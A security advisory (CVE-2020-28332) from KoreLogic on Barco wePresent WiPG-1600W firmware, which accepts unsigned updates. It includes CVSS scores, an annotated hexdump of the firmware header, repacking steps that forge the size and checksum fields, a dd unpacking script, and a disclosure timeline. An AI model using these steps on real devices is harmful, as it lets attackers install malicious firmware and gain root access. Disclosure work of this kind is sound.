9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.021 Low
EPSS
Percentile
88.9%
Vulnerability Details
Affected Vendor: Barco
Affected Product: wePresent WiPG-1600W
Affected Version: 2.5.1.8, 2.5.0.25, 2.5.0.24, 2.4.1.19
Platform: Embedded Linux
CWE Classification: CWE-494: Download of Code Without Integrity Check
CVE ID: CVE-2020-28332
Vulnerability Description
The Barco wePresent firmware does not perform verification
of digitally signed firmware updates and is susceptible to
processing and installing modified/malicious images.
Technical Description
The Barco wePresent firmware unpacks partially using
binwalk. Using ‘dd’ it is possible to extract the 4 component
files in the firmware. They are:
The initial attempt at modifying the firmware failed when the
device computed a checksum and denied processing the modified
firmware. Knowing that a checksum was used in validating
firmware, the focus was on the header file. Most of the fields
in the header file are text-based and easily identifiable.
There were, however, fields whose purpose were not immediately
obvious. After some thought and processing of the bytes, the
following header file structure was identified. The following
is hexdump output with comments interspersed.
$ hexdump -C header
00000000 61 77 2d 66 68 30 30 33 02 05 01 08 14 14 02 07 |aw-fh003…|
(version=2.5.1.8)
(0x14 = 20; date = 2020/02/07
00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.|
00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750…|
00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS…|
00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI…|
00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default…|
00000060 f3 ec 90 07 08 22 ab cf 64 65 66 61 75 6c 74 00 |…"…default.|
(0x0790ecf3 = 126938355 bytes = filesize of the firmware without the first 512 bytes, which is the header)
(0xcfab2208 = sum32 checksum of the firmware without the first 512 bytes, which is the header)
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…|
00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra…|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…|
*
00000200
Generating a new firmware version involved gunzip’ing and
untar’ing the filesystem, replacing the hash, and tar-gzip’ing
back up. Once it is tar.gz, it is necessary to concatenate
all parts of the new firmware together without the header
file. Next, calculate the sum32 checksum on this file. With
the new sum32 checksum and filesize of the tar.gz file, modify
the new header file to look like:
00000000 61 77 2d 66 68 30 30 33 02 05 01 09 14 14 02 07 |aw-fh003…|
00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.|
00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750…|
00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS…|
00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI…|
00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default…|
00000060 5f 2a 91 07 39 66 da cf 64 65 66 61 75 6c 74 00 |_*…9f…default.|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…|
00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra…|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…|
*
00000200
Now, concatenate the header file onto the new firmware to
complete the firmware packaging. This new file can now be
uploaded to the wePresent device. After the firmware update,
the device will revert back to the default admin password of
“admin”. The steps in KL-001-2020-007 (CVE-2020-28331) can
be run again to re-enable SSH, and now ssh in with a known
root password.
Mitigation and Remediation Recommendation
The vendor has released an updated firmware (2.5.3.12) which
remediates the described vulnerability. Firmware and release
notes are available at:
Credit
This vulnerability was discovered by Jim Becher (@jimbecher) and
Matt Bergin (@thatguylevel) of KoreLogic, Inc.
Disclosure Timeline
2020.08.24 - KoreLogic submits vulnerability details to
Barco.
2020.08.25 - Barco acknowledges receipt and the intention
to investigate.
2020.09.21 - Barco notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline. Barco requests to delay
coordinated disclosure until 2020.12.11.
2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure.
2020.09.25 - Barco informs KoreLogic of their intent to acquire
CVE number for this vulnerability.
2020.11.09 - Barco shares CVE number with KoreLogic and announces
their intention to release the updated firmware
ahead of schedule, on 2020.11.11. Request that KoreLogic
delay public disclosure until 2020.11.20.
2020.11.11 - Barco firmware release.
2020.11.20 - KoreLogic public disclosure.
Proof of Concept
$ more unpack-firmware.sh
#!/bin/sh
dd bs=512 if=$1 of=$1.header count=1
dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240
dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144
dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385
$ ls -altr
total 123972
drwxr-xr-x 5 user user 4096 Jul 17 21:12 …
drwxr-xr-x 2 user user 4096 Jul 17 21:12 .
-rw-r–r-- 1 user user 126938867 Jul 17 21:12 awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad
$ ./unpack-firmware.sh awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad
1+0 records in
1+0 records out
512 bytes copied, 0.000389048 s, 1.3 MB/s
10240+0 records in
10240+0 records out
5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0501995 s, 104 MB/s
6144+0 records in
6144+0 records out
3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0120293 s, 262 MB/s
231542+1 records in
231542+1 records out
118549747 bytes (119 MB, 113 MiB) copied, 0.388187 s, 305 MB/s
$ file *
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad: data
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs: Linux Compressed ROM File System data, little endian size 4452352 version #2 sorted_dirs CRC 0xd1b0b3fa, edition 0, 2359 blocks, 918 files
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz: gzip compressed data, last modified: Fri Feb 7 05:57:05 2020, from Unix
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header: data
awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot: u-boot legacy uImage, Linux-2.6.32.9-default, Linux/ARM, OS Kernel Image (Not compressed), 2104776 bytes, Thu May 30 06:06:07 2019, Load Address: 0x00008000, Entry Point: 0x00008000, Header CRC: 0xB224BB24, Data CRC: 0xD50B7080
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.021 Low
EPSS
Percentile
88.9%